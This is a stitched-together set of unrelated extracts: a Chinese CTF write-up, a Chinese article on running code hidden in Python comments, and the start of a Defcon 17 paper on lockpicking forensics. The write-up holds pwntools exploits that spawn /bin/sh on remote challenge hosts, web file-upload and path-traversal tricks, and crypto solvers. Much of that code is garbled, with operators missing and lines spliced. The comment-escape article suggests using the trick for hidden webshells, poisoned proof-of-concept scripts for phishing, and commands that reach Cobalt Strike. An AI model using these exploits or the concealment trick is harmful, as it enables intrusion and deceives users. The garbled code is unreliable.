= ida_bytes.get_bytes(ins_addr,size) pa = get_patch_addr(v14,0) res = patch_addr(ins,pa) ida_bytes.patch_bytes(des,res) des += len(res) sizes_addr += 4 size = ida_bytes.get_dword(sizes_addr) v14 += 1 ins_addr += 16 Web EZupload 模板在编译时会在tempdir⽬录中产⽣编译后的缓存⽂件，⽽⽂件上传并没有过滤 .user.ini ，所以我们可以上传⼀个.user.ini⽂件，内容是 auto_prepend_file=/flag ，然后编译缓存的⽂件名是由模板名和⼀个hash组成的， hash是getTemplateClass函数⽣成的 from pwn import * import fuckpy3 def dec(a1,a2,fuck_s = 0): s = 0x81A5692E * 33 * (fuck_s + 1) s %= 0x100000000 for i in range(33): a2 -= ((16 * a1 + 0x66398867) ^ (a1 + s) ^ ((a1 >> 5) + 0xc35195b1)) a2 %= 0x100000000 a1 -= ((16 * a2 + 0x7ce45630) ^ (a2 + s) ^ ((a2 >> 5) + 0x58334908)) a1 %= 0x100000000 s -= 0x81A5692E s %= 0x100000000 return (p32(a1) + p32(a2)).str() en = [0x422F1DED, 0x1485E472, 0x35578D5, 0x0BF6B80A2, 0x97D77245, 0x2DAE75D1, 0x665FA963, 0x292E6D74, 0x9795FCC1, 0x0BB5C8E9] res = '' for i in range(0,10,2): res += dec(en[i],en[i+1],i//2) print(res) public function getTemplateClass(string $name): string { $key = serialize([$this->getLoader()->getUniqueId($name), self::VERSION, array_keys((array) $this->functions), $this->sandboxed]); return 'Template' . substr(md5($key), 0, 10); } 在这个函数中，除了版本之外的变量都是固定的。我们可以在 ./vendor/composer/installed.json 找到latte的版本，进⽽直接算出hash。然后访问编译缓存⽂件，auto_prepend_file⽣效，读出flag。 OA?RCE? ⽤这个OA换表的base64编码⼀下路径： echo $this->jm- >base64encode("../../../../../../../../../../usr/local/lib/php/pearcmd"); 灏妹的web .idea/dataSources.xml EasyTp 控制器代码： /public/?file=aaaaaa/../../../../../var/www/html/app/controller/Index.php pop链随便⽹上找⼀条即可： https://xz.aliyun.com/t/9310#toc-6 ⽤三个斜杆绕过过滤 ///public/index.php/Index/unser Pwn Blind from pwn import * elf = ELF("./blind") def csu(func,rdi,rsi,rdx): payload = p64(0x4007BA) payload += p64(0)+p64(1)+p64(func)+p64(rdx)+p64(rsi)+p64(rdi)+p64(0x4007a0) payload += b'A'56 return payload read_got = elf.got['read'] alarm_got = elf.got['alarm'] # s = process("./blind") # for i in range(0x100): # try: s = remote("82.157.6.165","22000") payload = b'A'0x50+p64(0)+csu(read_got,0,alarm_got,1) payload += csu(read_got,0,elf.bss(0x500),0x100) payload += csu(alarm_got,elf.bss(0x500),0,0) string_go 修改string结构体size进⾏泄漏 # gdb.attach(s,"b 0x4007a9\nc") sleep(3) s.send(payload) sleep(0.5) s.send(b'\x38') sleep(0.5) s.send(b'/bin/sh\x00'.ljust(59,b'\x00')) s.sendline(b'ls') tmp = s.recv(timeout=1) print('ls:'+tmp) if(tmp != None): s.sendline("ls") s.interactive() # except: # pass from pwn import # s = process("./string_go") s = remote("82.157.20.104","42500") context.terminal = ['ancyterm', '-s', 'host.docker.internal', '-p', '15111', '-t', 'iterm2', '-e'] libc = ELF("./libc-2.27.so") s.sendlineafter(">>","2+1") s.sendlineafter(">>","-8") # gdb.attach(s,"b $rebase(0x23a4)\nc") s.sendlineafter(">>","a"8) s.sendlineafter(">>","\xff") s.recvuntil("a"8) s.recv(0x30) canary = u64(s.recv(8)) success(hex(canary)) s.recv(0xb8) libc.address = u64(s.recv(8))&0xffffffffffff libc.address -= 0x21bf7 success(hex(libc.address)) pop_rdi = 0x00000000000215bf+libc.address sh = next(libc.search("/bin/sh")) system = libc.sym['system'] easykernel 没有重定向monitor,直接读rootfs.img payload = 'A'0x18+p64(canary)+p64(0x10)+p64(0x8)2+p64(pop_rdi)+p64(sh)+p64(pop_rdi+1)+p64(syste m) s.sendlineafter(">>",payload) s.interactive() from pwn import from tqdm import trange import fuckpy3 context(os='linux', arch='amd64', log_level='error') DEBUG = 0 if DEBUG: p = process(argv='./start.sh', raw=False) else: p = remote('82.157.40.132', 35600) def main(): ctrl_a = '\x01c' p.send(ctrl_a) s = b'' p.sendlineafter('(qemu)', 'stop') # p.sendlineafter('(qemu)', 'xp/100000bc 0x000000') p.sendlineafter('(qemu)', 'drive_add 0 file=/rootfs.img,id=flag,format=raw,if=none,readonly=on') for i in trange(160): p.sendlineafter('(qemu)', f'qemu-io flag "read -v {0x4000i} 0x4000"') p.recvuntil('\r\n') data = p.recvuntil('ops/sec)\n', drop=True).split(b'\n')[:-2] for d in data: s += b''.join(d.split()[1:17]).unhex() i = 160 p.sendlineafter('(qemu)', f'qemu-io flag "read -v {0x4000i} 0x600"') p.recvuntil('\r\n') data = p.recvuntil('ops/sec)\n', drop=True).split(b'\n')[:-2] for d in data: s += b''.join(d.split()[1:17]).unhex() # print(s) with open('out.img','wb') as f: f.write(s) # print(data) p.interactive() Misc 签到暗号对上，DASCTF{welc0m3_t0_9C51s_2021} ~ 温馨提醒，本次⽐赛 flag 格式⼀般为 DASCTF{}/flag{}，在界⾯上提交时只需要提交括号内的内容，⽐如这个题你就只需要提交 welc0m3_t0_9C51s_2021 作为 flag 即可！ Crypto unknown_dsa if __name__ == '__main__': main() from Crypto.Util.number import * from Crypto.Hash import SHA wl = [3912956711, 4013184893, 3260747771] cl1 = [28525892237799287962665406004216787908890672849116825789242161860525903935956453221615 633866155124752567263843650917110344496827912689946237589377528747509182009618889970824 771008110257218987207836668686234982462196772211062276608955190586319650557907091302077 60704, 211158499061801396563106646074584256376705200819832482589841660262228987535050089041366 888200757204110041582641386597621018735885836864733889517447339367697326172796497970851 52057880233721961, 301899179092185964785847705166950181255677272294377823045011205035318463496682788289651 177635341894308537787449148199583490117059526971759804426977947952721266880757177055335 088777693134693713345640206540670123872210178680306100865355059146219281124303460105424 ] cl2 = [14805245002940976705662351036536660222877843156928840757713198043507452963271501497113 345262602122694463228247931237866735379211713345206997233416938683722728592401118703567 187475890102871950516388778938283577066421804574346522278885925827282621786987760731414 4, 164363185031805515194693838138967103973882495327281640237109511804717975884670307093185 023866826262544482656483345229480711054444153783019975205004069744094814609272371366112 5309994275256, 109495870160167959404459761984601492581446353669964555986052447435407287646359470610377 799126612073228201805411141796129160183176004038160277033911109221123119109000344423403 87304006761589708943814396303183085858356961537279163175384848010568152485779372842] from sage.all import * # https://mathsci.kaist.ac.kr/cms/wp-content/uploads/2017/11/NumberTheory_Sage.pdf def solve_pell(N, c1, c2): cf = continued_fraction(sqrt(N)) for i in range(10000): denom = cf.denominator(i) numer = cf.numerator(i) if numernumer - N denomdenom == 1 and c1.bit_length() <= numer.nbits() <= c1.bit_length()+2 and c2.bit_length() <= denom.nbits() <= c2.bit_length()+2: return numer, denom return None, None us = [] vs = [] for i in range(3): u,v = solve_pell(wl[i],cl1[i],cl2[i]) us.append(u) vs.append(v) m1 = long_to_bytes(crt(cl1,us).nth_root(7)) m2 = long_to_bytes(crt(cl2,vs).nth_root(7)) print(m1,m2) p = 951393538807721049398706181454482342510311051534065658330297872990403783950021904383815 379748537778906929244071678238189800826728735381331271313568101530129240252708839661724 206587779033375760271059541198114954111490929604220554451210972598026869602882583997541 85484307350305454788837702363971523085335074839 n = 851986153860756075670700209699817778276718736546312004720782419807378344388979001462488 402791911391564165371083996828743706298882073345062370400178383135589112750739041484515 402557058184775811828662694130182630798586802216473416807629890804180399727047590033436 166524754381558068587359823529307712448809901903185269332674552489137822979916850411875 65140859 q = n//p assert pq==n t = 601321763959228969025188452440510654171435075505198602110779655017833159711094335444824 112082384851355540652418649563616768782203425002080110893837512254374170498937255461767 994171888759726772936800330053998831135311937053534048921418114934150797554561858588898 014563869108922398697328052738792810946133296453262872057366145463111436355800514444465 76104548 g = pow(t, inverse(pq-(p+q), (p-1)(q-1)),pq) assert t==pow(g, pq-(p+q), pq) hm1 = bytes_to_long(SHA.new(m1).digest()) hm2 = bytes_to_long(SHA.new(m2).digest()) r1, s1, s2 = 498841194617327650445431051685964174399227739376, 376599166921876118994132185660203151983500670896, 187705159843973102963593151204361139335048329243 FilterRandom r2, s3 = 620827881415493136309071302986914844220776856282, 674735360250004315267988424435741132047607535029 k = inverse((s1-s2)inverse(hm1-hm2,q),q)%q print(long_to_bytes((s1k%q-hm1)inverse(r1,q)%q)) print(long_to_bytes((s3k%q-hm1)inverse(r2,q)%q)) class lfsr(): def __init__(self, init, mask, length): self.init = init self.mask = mask self.lengthmask = 2*length-1 def next(self): nextdata = (self.init << 1) & self.lengthmask i = self.init & self.mask & self.lengthmask output = 0 while i != 0: output ^= (i & 1) i = i >> 1 nextdata ^= output self.init = nextdata return output N = 64 mask1 = 17638491756192425134 output = '10001011010100011000100101001011100010110111001100001110000111011011100101101101000111 101100010111100011000011111111010101111100101010101100010100000111011010011110111000100 000101100101010110100111100011000101010101011011111011011000001101001011000010000011110 001111001111011100110011111111101000111101001010000110001110111101001001101011101101001 010001101010010110000000000001001101100101011110011010110011010110110011001001111001010 100011110111100100010110111100110010000000010010011110001100000011000001110001000000010 000100100101100000011100000011110101001011010011010100001101000010100100000011001011001 000110000000000111011101000110010110111110010101110010001010001111111000011010000011001 110111001000010011000000111010111100000100010011001111101110110100100011111000111000011 111101010010110011111100010000100101011000001010101111101111001000011101111000111000101 011010111100110001011011100101001010110110110110011100100111100110001101110010100010111 100000110000010110100010001100011011001100100110101110010100011101110110010000010011100 000011100000101010011011111110000100000010001010111011011111110100111100011100011110110 010001011101111001011101010110111001001000111001001111001111110111111100001111100100110 011111110110101000011010111110010001100000111100010011100011010000101010111010101101000 011001110011000000110110110001101100110101110010010111011100110101000110000011001010100 000110000000001110010001010001001101111100001111111011010010011100110010000111010001001 111111110000010101110011010100100101101100111000010110100110010001010110111110011000111 011101110100010000110110110011001011111011111000000000000001110000001000011000110111000 000110100110110001111011111100010010011100101010000111000011111010000001010010011101010 010110011000000001111110000000010111011000010001111000100110101110001000011111001101111 111100011111011001001110000101001101110100111010011011101000110010000001001000001100110 001110101100001000110100100010111101100010100110011111010011100100001101111010000110110 101111111001111011100001101100000001101111100100' for i in range(1984): init1 = int(output[i:i+64],2) for j in range(i+64): t = init1%2 init1 = init1 >> 1 t ^= bin(init1&mask1).count('1')%2 init1 = (t<<63)+init1 l1 = lfsr(init1, mask1, N) s = 0 for j in range(2048): if l1.next()!=int(output[j]): s += 1 if s>200: break else: print(i,s,init1) break #661 112 15401137114601469828 l1 = lfsr(init1,mask1,N) a = [] b = [] for i in range(2048): SpecialCurve2 if l1.next()!=int(output[i]): a.append(i) b.append(int(output[i])) print(a) print(b) from sage.all import a = [4, 12, 30, 37, 41, 53, 69, 85, 97, 101, 146, 148, 193, 196, 260, 281, 341, 357, 390, 407, 428, 431, 438, 477, 520, 523, 529, 539, 541, 566, 607, 613, 619, 623, 640, 660, 733, 750, 811, 816, 824, 873, 887, 906, 910, 939, 948, 959, 971, 977, 1001, 1026, 1030, 1046, 1052, 1078, 1082, 1109, 1120, 1126, 1137, 1158, 1163, 1194, 1195, 1222, 1237, 1244, 1280, 1286, 1311, 1345, 1391, 1401, 1415, 1440, 1456, 1495, 1506, 1518, 1532, 1535, 1571, 1612, 1619, 1624, 1642, 1646, 1654, 1709, 1718, 1745, 1764, 1792, 1797, 1834, 1848, 1855, 1861, 1871, 1894, 1901, 1906, 1925, 1950, 1967, 1970, 1979, 2026, 2027, 2036, 2046] b = matrix(GF(2),112,[1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0]) state = [vector(GF(2),64,[0]i+[1]+[0](63-i)) for i in range(64)] A = [] for i in range(a[-1]+1): mask2 = 14623996511862197922 nextdata = vector(GF(2),64) for j in range(64): if mask2%2: nextdata += state[-1-j] mask2 = mask2 >> 1 state = state[1:] + [nextdata] if i in a: A += nextdata A = matrix(GF(2),112,64,A) init2 = A.solve_right(b) init2 = ''.join(str(i[0])for i in init2) init2 = int(init2, 2) print(init2) # 11256716742701089092 from Crypto.Util.number import * import random def add(P1,P2): hardrsa x1,y1=P1 x2,y2=P2 x3=(x1x2-y1y2)%n y3=(x1y2+x2y1)%n return (x3,y3) def mul(P,k): assert k>=0 Q=(1,0) while k>0: if k%2: k-=1 Q=add(P,Q) else: k//=2 P=add(P,P) return Q ''' discrete log n = 92916331959725072239888159454032910975918656644816711315436128106147081837990823 y = 1225348982571480649501200428324593233958863708041772597837722864848672736148168^22%n g = 2 e = int(pari(f"znlog({int(y)},Mod({int(g)},{int(n)}))")) ''' e = 96564183954285580248216944343172776827819893296479821021220123492652817873253 n = 92916331959725072239888159454032910975918656644816711315436128106147081837990823 C = (44449540438169324776115009805536158060439126505148790545560105884100348391877176, 73284708680726118305136396988078557189299357177640330968917927635171441710392723) p = [425886199617876462796191899, 434321947632744071481092243, 502327221194518528553936039] phi = (p[0]p[0]-1)(p[1]p[1]-1)(p[2]p[2]-1) d = inverse(e,phi) M = mul(C,d) assert mul(M,e)==C print(long_to_bytes(M[0])+long_to_bytes(M[1])) from Crypto.Util.number import * dp = 379476973158146550831004952747643994439940435656483772269013081580532539640189020020958 796514224150837680366977747272291881285391919167077726836326564473 c = 572482589459273876735794673481061187470343811907037778614095273362729145596994903533259 066729562735598679414022814386706527109095322613033940450796291461563408019322548390215 741399439334519240628884267263532307572845828639932275927033231332651804143820621325805 266582057162180463662476538817646588913155926071943557332094932396112161931184246025109 641020269986743236851347960185968173932681065837371535166329690416932807252979292777511 360405468302305338985146597147172133716198531372725159670670088055210516131071415557885 168942236548512777853933551781142309290140374367706781311481403983843947164564502695390 650093963119960404228537400495085005402814881712852334457447996800223071804522107939136 14131646875949698079917313572873073033804639877699884489290120302696697425 c1 = 781001314618722856134262443227375021472194851087991309752024296380428594881369337834982 109143357419407616561375160339264189753637341946610316785168570407235320554486959288206 240944004814649501811266384562346698149824112709856502092456877655954837388769755725212 769631495426591876800759173223085121639044232973816355327716904340165891328761712835963 204356233762834252285361577267815248703486149831164088150882576097885179868106225059615 38812889953185684256469540369809863103948326444090715161 # discrete_log x = 437762756288598905752324437943192985519348042134727449270228186967591889019773902669731 727556583961974211394202065498893371179785978831548599652366054525184464486398130551341 335875640454718044478180585715864268958009848055883638558652186908775474191527655121430 952174134773438354739636376924410321361632899647561723162894691595003126305290913506368 084916975530693883883033416230477375535561231420027370599365699311631973645714785095768 163493481462151012508038265906940390960638584244053829507694152721118430397156326558315 942242880996088273453771643759275593381535059914049738885943566643934872498195899158811 78770048740 # from z3 import * # p=Int('p') # s = Solver() # s.add(2019p2 + 2020p*3 + 2021p**4==x) # s.check() # print(s.model()) p = 121316011657880246350300349210840704700538421129848668210703952817284688050727160024944 27632757418621194662541766157553264889658892783635499016425528807741 print(long_to_bytes(pow(c,dp,p))) 密码⼈集合脑洞⼀下发现是数独。	pdf
摸鱼的时候在挖洞，本身想写一个文件内容过滤的小脚本（误报太多了），发现报错，看网上貌似是编码问题，于是我就百度了下，发现 py 上加两句就可以了 # -- coding: utf-8 -- # coding:unicode_escape 但是当我运行的时候，我突然发现注释报错了本来我以为是正常的报错，debug 一下，发现正常代码没任何问题，但我发现行数不对，是在第 13 行，但是这是被注释掉的内容啊，我深入了一下发现，问题出现在 \n 和 unicode_escape 上，于是我新搞了个文件进行测试可以成功解析\n，那么使用命令呢我们可以看到注释的内容并不会在 debug 中跟到注释当中，但是会执行注释当中的语句，这也就是为什么我 debug 不出来的原因但是 python 为啥使用 unicode_escape 即可解析注释的内容呢？带着这个问题写一个 demo 进行原理分析，我们可以看到下面两张图第一个是使用的 unicode_escape 编码的文件，而第二个文件则是默认的 utf-8 Test2.py 内容： # coding:unicode_escape # \nprint('1) 其中我们可以看到 unicode_escape 的文件语句是 \nprint(1)，而默认的则是\\n,也就是说明 unicode_escape 的其实是给\\n 减少了一个\ 于是尝试 debug，打上断点，我发现第一次出现 unicode_escape 是在我们定位到 read_or_stop 发现只是一个简单的 readline，而注释也说了，最多只会调用两次，所以这也是为什么开发一般编码都要放在第一行的原因，并且也说明了，如果未指定编码，默认将是 utf-8 然后继续往下走，省下中间一堆无用过程，我们可以看到此时的 print（1）前面还是\\n 但是在 513 行，先是判断 encoding 存不存在，如果存在就用 encoding 进行解析本身存在的 line，此时我们可以看到\\n 被解析成了\n，于是就后面的 print(1)因为换行符的原因，被调到了下一行，也就正常执行了我们本地简单测试下可以发现，正常的 a 输出后会减少一个\，但还是会输出\n，但是当使用 decode （“unicode_escape”）后，我们发现被解析了，因为 print 本身就会空一行，所以 print(‘\n’（被解析后的\n）)就会空 2 行，这也就成功的逃逸出注释符了这证明什么，证明只要能解析掉换行符我们即可执行注释，那么除了 unicode_escape 编码，还有其他的么，打开 python 的底层源码，发现在 codescs.rst 中记录着各式各样的编码，在 unicode_escape 上方还有一个 raw_unicode_escape 尝试用 raw_unicode_escape 执行 py 发现不行，不过没关系，看一下源码中是咋注释的，毕竟带有 unicode_escape，肯定是有关系的，上面是要以\uxxxx，那么试用一下换行符\u000d，发现也可以成功解析不过除了这种，应该还会有，我也就没有继续深挖下去，有兴趣的师傅可以自己看一看 python 的编码，应该是还会有其他的可以解析后面我在想，既然 python 能有这种编码操作，那么 php 和 java 会不会有呢？很不幸的是，花活最多的 php 没找到这种操作（可能是因为我太菜了），但 java 却有了突破，找到了之前 p 牛写的一篇文章《unicode 反噬》用的也是利用注释进行 bypass（果然大佬永远快一步），如图发现与 py 一样，同样可以执行注释里的内容但 java 与 py 不同的是，java 本身会用 unicode 解析整个项目，然后再进行执行，所以如图所示，正常我们是可以执行计算器的但是如图所示，当我们在 java 代码中添加了\u000d 后，java 这边会执行报错，因为他解析了换行符，所有就不会正常执行与之对应的是 py，虽然第四行同样报错，但 py 是一句一句执行的，所以可以正常的输出 1，但 java 先进行了一遍整体 unicode 解析，所以当解析完换行符后，java 就不会开始执行而是报错了用这个可能可以做到很多事，比如网站我们构造注释 webshell，比如二开 poc 脚本投毒进行钓鱼，比如构造一个好玩的小程序用注释偷偷恶搞，用拼接的方式构造命令上线 cs，玩法有很多很多，后面想到了再补充吧最后再放上 p 师傅的两个样本供大家学习 Author Zac 公众号 ZAC 安全微信 zacaq999 知识星球安全宝典	pdf
Lockpicking Forensics by datagram www.lockpickingforensics.com www.lockwiki.com Defcon 17, 2009 www.defcon.org If you've been to a computer security conference recently you've no doubt seen people learning how to pick locks and crack safes. In the United States, interest in physical security has become a natural extension of the growing number of people interested in computer security. Many computer security events now host some form of lockpicking event, or an area where people can learn about locks, safes, and methods to compromise them, commonly known as a lockpicking village. At many of these events attendees focus on techniques to compromise locks and safes without discussing the forensic evidence they leave behind. Many instructors and speakers (the author included) portray many of these techniques in a manner that leads people to believe that they cannot be detected. In some cases this is true, but the vast majority of tools and techniques leave distinct forensic evidence. This paper describes forensic locksmithing, the field of forensic investigation that relates to lock and keying systems. Included in this paper is normal wear and tear, evidence left behind by a variety of entry techniques, keying system analysis, and the investigative process. This paper was written as a companion to my Defcon 17 (2009) talk and does not provide exhaustive coverage of the topic. A more thorough resource on forensic locksmithing (and contact information) is available at www.lockpickingforensics.com. Destructive vs. Covert vs. Surreptitious Entry Before we begin, we need to understand the difference between ways lock or keying systems are compromised. Methods of entry are generally classified as being destructive, covert, or surreptitious. Essentially, the distinction between them rests on the type of forensic evidence they leave behind. When we discuss whether or not methods of entry leave behind forensic evidence we restrict our view to lock- related evidence. It is quite possible that “forensic-proof” techniques leave behind evidence that is unrelated to the locking mechanisms, such as hair, fingerprints, or other trace evidence.  Destructive entry techniques cause damage to or destruction of locks, safes, or surrounding components. Surrounding components are commonly doors, windows, and walls. Regular “users” of the locking system are capable of identifying destructive entry techniques.  Covert entry techniques are non-destructive and do not leave obvious forensic evidence. They are not discovered by regular users, but can be identified by a qualified forensic investigator.  Surreptitious entry techniques are non-destructive and do not leave any discernible forensic evidence. Surreptitious techniques are not discovered by regular users, and qualified investigators may be unable to identify them, depending on the technique. In short, the difference between covert and surreptitious entry is the ability for a qualified forensic investigator to identify if a tool or technique was used. The paper will cover the most common types of covert and surreptitious entry techniques. Information on destructive techniques is available at http://www.lockpickingforensics.com. Forensic Locksmithing In 1976 a gentleman named Art Paholke (Chicago PD) decided to perform a variety of tests on locks and safes to determine whether or not various type of attacks against them left forensic evidence. He combined this with an analysis of how different levels of wear affected the evidence. Mr. Paholke's work was quite influential and his methods provide the basis for many of the techniques in use today. From his work the concept of forensic locksmithing developed. In modern day, the forensic locksmith assists investigative agencies in criminal investigations, insurance claims, and security maintenance by providing the facts surrounding the compromise of a lock or key system. In this regard, the forensic locksmith identifies the method of entry, tools used, skill level of attacker(s), the relative security of the system, and evidence that may be used to identify suspects. The forensic locksmith does not solve cases for the investigative agency, rather they provide facts, evidence, and insight that may be used to affect the outcome of an investigation. Don Shiles, former president of the International Association of Investigative Locksmiths, defines forensic locksmithing as: "The study and systematic examination of a lock or other security device or associated equipment using scientific methods to determine if and how the device was opened, neutralized, or bypassed. These examinations include the use of various types of forensic techniques, [...] and includes microscopic examination, micro photography, regular photography, physical disassembly of the device or devices, and on occasion laboratory techniques, such as metallurgy and tool mark identification may be conducted." The forensic locksmith functions much like the traditional crime scene investigator but has extensive knowledge of the tools and techniques used to compromise lock and keying systems. With this knowledge the investigative agency can better understand and identify potential suspects. In addition to this, the forensic locksmith may be asked to provide testimony to explain their findings. In other cases, they provide independent testimony to explain or clarify compromise tools and techniques, lock and keying systems, and various related topics to a judge or jury. Normal Wear In order to identify compromise of a locking system it is important to know what the lock components and keys look like when they are used normally. The amount and nature of the wear on components varies and is highly dependent on the lock, key, and component materials. The most common material for pin-tumbler locking cylinders, keys, and components is brass. Cylinders and components (pins, levers, wafers, etc) also commonly use nickel- silver and steel. Keys are made from a wide variety of materials besides brass, such as nickel-silver, aluminum, iron, steel, zamak, and various proprietary alloys. The nature of wear also depends on the design of the key and the components. Unfortunately, I cannot display all possible combinations of designs and materials. The following is a microscopic examination of different stages of wear on a standard pin-tumbler cylinder (Falcon FA3, 6 chambers, pinned for 5). The cylinder, plug, pin-tumblers, and key are all made out of brass. Bottom pins in this cylinder have rounded tips. Prior to disassembly, the key to this cylinder was used no more than ten times. For the sake of space, I will only show 1-2 pins of each stage, rather than all 5. Note: Photos are all taken with a digital microscope ranging from 10-200x magnification. New New pins are clean, with no dust, grease, or dirt. Light abrasions and corrosion may exist depending on how the pins were stored prior to being used in the lock. Factory original pins usually do not exhibit these characteristics. A clear indication that pin has not been used is the fresh milling marks around the tip of the pin. Up close, we notice many small imperfections in the tip of the pin. Very light scratches, dents, and bumps are visible. The dents and bumps are natural imperfections in the manufacturing process, while the light scratches are likely from the use of a key. The key for this lock is also new. It is factory original, made of brass, and has been cut with a high speed key machine. As stated above, it has been used a few times, and because of this we can see a light track in the center of the key where it has picked up lubricant from the pins. 250 Uses After 250 uses (roughly 3-6 months of use) a ring develops around the pin. This is the key gliding under the pins, spread around the tip because insertion and removal lightly rotates them back and forth. The key is also lightly polishing the pins, too. Up close we can see that the ring is actually due to the milling marks starting to be removed and lightly polished. The pin has also been slightly distorted in the very center, also due to the key making contact with it. The key has also started to show signs of wear, mostly in the center where the pins have been touching it. In this particular case, wear resembles a staircase pattern. In addition, the key has picked up more lubricant, making the line on the key considerably darker. 1,500 Uses At 1,500 uses (roughly 1.5-2 years of use) a distinct change in the appears of the pins. The key has been used so many times that the milling marks have almost completely been removed. Again, slight scratches on the pin are being caused by the key becoming more jagged as it too wears down. What is most interesting is that pin 5 (the furthest back) has considerably less wear, and more visible scratches. This all makes sense; it is only touched by the tip of the key, and the tip of the key is the most worn down because it makes contact with all of the pins. The key continues to wear and collect lubricant. Image shown at high zoom to show the literal pits that are being created. At this point, certain ramps on the key may be acting like a file when going in and out of the lock. As seen above, this translates to more light scratches on the tips of the pins. 5,000 Uses At 5,000 uses (roughly 5-6 years of use) the front pin (left) has no milling marks, and almost all scratches have been polished away. From this point on wear looks similar to this, with light markings sometimes being created by wear of the key. Compared to other pins, pin 5 (center) continues to show reduced signs of wear and retain its milling marks. We can also now see that wear is not evenly distributed on this pin, as it resembles an oval shape. Compare with above picture and 1,500 use pictures. They key (right) continues to wear down, with small craters from the previous example now very large and uneven. Slight imperfections like this in the key will cause light, seemingly random scratching on the soft brass on the pins. Stronger key materials may even act as a file against pins. The face of a lock that has seen moderate to heavy use will have many dents and imperfections caused by normal use. How many times have you went to unlock a door and slightly missed the keyway? In the photo (left), many small dents and scratches from normal use are visible. In shoulder stopped locks (almost all pin-tumbler locks qualify), continued use will cause light impact marks along the face of the plug (right). This is normal, and should not be confused with the extreme material displacement that occurs during key bumping. Lockpicking Lockpicking is a general term for a wide variety of covert entry techniques, all of which attack the locking components directly. Unlike impressioning or decoding, lockpicking attempts to open the lock without producing a working key or decoding the correct position of components. There are many different lockpicking tools for various lock types. In almost all cases of lockpicking two tools are used. A tension tool is used to gently apply tension to the lock, and a pick is used to position components. As tension is applied to the plug, bolt, or other component, locking components will bind in some way. The pick can be used to determine which component is binding and then used to position it properly. The correct position of a component is known by the attacker through feedback in the form of touch, sound, or sight. The tension tool holds properly positioned components in place, and the attacker repeats the process. Once all components are properly positioned the lock can be unlocked or locked. The nature of lockpicking necessitates that strong materials be used for tension and picking tools. Tools are commonly made out of steel, iron, and aluminum. Tools are thin (on average 0.025'' with pin-tumbler picks) and require a medium amount of force to move locking components. When contacting the softer brass or nickel-silver of locking components, pick and tension tools leave marks in the form of gouges and scratches. The best source of forensic evidence of lockpicking are on the components themselves, but the lock housing, bolt, and cam may also be examined, depending on the type of lock. Forensic Evidence The act of using a pick tool is invasive, and we expect the stronger material of the pick tool to cause marks on the softer brass or nickel-silver of the lock components. In the photo (left), we see scratches where the pick tool was used to lift the pin. These appear to be single-pin picking marks due to their shape, size, and position. This photo (center) is similar to the last, but instead there are many varied, elongated scratches at different angles and depths on the pin. This type of marking is indicative of a pick that is designed to be gently rubbed against the pins at varying height and tension. Of course, this is the technique known as raking or rake picking. In this photo (right), marks left appear to be a combination of both picking techniques. Many attackers will attempt to lightly rake as many pins as possible and then proceed to use single-pin picking against the rest. This may be necessary in the case of security pins that are triggered while raking, also. The marks left by an attacker are in many ways indicative of their skill level. In this photo (left), deep and plentiful pick marks are shown. The attacker, an amateur, used extreme force on both tension and pick tools. The extreme tension causes pins to bind against plug and require more force to be lifted. In this photo (center), pick marks are extremely light but still visible in the center of the pin. We can also see some marks on the side of the pin which are more defined. This is a very skilled attacker who uses extremely light tension and picking force to reduce forensic evidence. Despite much higher picking skill, we still find similar forensic evidence. In other cases, marks may be light due to stronger materials being used for components. In this photo (right), nickel silver pins from a Mul-T-Lock telescoping pin-tumbler are used. Marks are present, but much lighter than in our normal examples. For the attacker, it is difficult to not touch the sides of pins. This can happen during raking as well as single-pin picking. Marks left on the sides of pins are quite noticeable and not as prone to wear and those in the center of the pin. In the photo (left), light scratches at varied angles are visible. In the case of low-high pinning combinations it is even harder to lift pins without touching other pins. In this photo (center), several long scratches travel up the side of the pin. Interestingly, we may be able to measure the length of scratches to determine if the attacker raised the adjacent pin high enough. Like the bottoms of the pins, the sides can tell a great deal about the skill level of the attacker. In this photo (right), gouges on the sides of the keys are rather deep, caused by extreme force being used on both the tension and picking tools. With this much material removed, it may be possible to identify pin material on a suspect's possessions. Inside the plug we also expect to find various forensic evidence. In this photo (left), the plug walls have scratches are various angles that are inconsistent with the use of a key. The top of the keyway is a great area for forensic evidence because a properly cut key will never touch here. Of course, pin-tumblers never touch here either, as this are is between pin chambers. For these reasons we consider this a “virgin” area where any tool marks found are indicative of something suspicious. In this photo (center), light scratching on the top of the keyway is visible. Marks can also be found higher on the plug walls, near the pin chambers and internal warding. In this photo (right), a large mark is found on an internal ward (between pin chambers). From the shape, angle, and size of the mark we can rule out a key as the culprit. If a key did do this, it would likely be present on other wards inside the lock, too. Tensions tools used in lockpicking also leave identifiable forensic evidence. When we take the plug apart, we can usually find light scratching and scuffing at the front of the keyway. Marks can be at the top or the bottom of the plug, depending on the tension preferences of the attacker, and how clear they are may help us determine their skill level. In the photo (left), light scratching and a definitive tension tool mark (the line) are visible. Light tension is preferred when pick locks with security pins or other high security features. Often only a feather touch is needed to pick a lock, though excessive tension is a beginner mistake. In this photo (center) light scratches are visible, as well as the final resting position of the tool (the clearest mark). The light scratches are usually caused by having to fiddle with the tension tool to get it seated properly. In addition to the pins and plug we can look at the cam of the lock. While evidence on the cam is not always available, it does help indicate the skill level of an attacker. At many locksport events the cams are removed and you'll notice people with the pick sticking out the back of the lock. When mounted, they are hitting the cam instead, creating a good deal of forensic evidence. In this photo (right), excessive scratching on the cam indicates a low-skill attacker. Pick Guns Pick guns are a covert entry tool used to pick pin-tumbler based locks. Pick guns have manual and electric variants, each with their own type of forensic evidence. Both work to rapidly separate pin pairs at the shear-line to allow the plug to rotate. Pick guns are similar in function to bump keys. Manual pick guns are spring-loaded tools that resemble a toy gun with a lockpick attached to the front. The lockpick is interchangeable, and referred to as the "needle." To open the lock, the needle is inserted in the lock and placed under all pin stacks. As with lockpicking, a separate tension tool is used to apply tension and rotate the plug. Light tension is applied to the tension tool and the trigger of the pick gun is fired. According to physics, the kinetic energy transfers from bottom pin to top pin, causing the top pins to "jump" in their 